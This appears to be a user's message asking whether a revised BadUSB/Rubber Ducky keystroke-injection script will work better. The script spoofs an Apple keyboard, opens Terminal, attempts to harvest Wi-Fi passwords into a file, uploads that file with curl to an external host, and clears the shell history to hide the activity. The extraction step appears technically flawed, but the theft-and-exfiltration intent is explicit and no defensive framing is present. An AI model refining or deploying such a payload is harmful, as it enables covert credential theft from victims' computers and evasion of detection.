I changed the script a bit, will this work better?
ID 05ac:021e Apple:Keyboard
REM Open Terminal
DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
ENTER
DELAY 1000
REM Run Commands in Terminal
STRING /usr/sbin/networksetup -listallnetworkservices | while read service; do
/usr/sbin/networksetup -getairportnetwork "$service" | grep -E "password" | sed 's/.*: //' >> wifi-passwords.txt
done
ENTER
STRING curl -F "file=@wifi-passwords.txt" https://example.com/upload
ENTER
STRING history -c
ENTER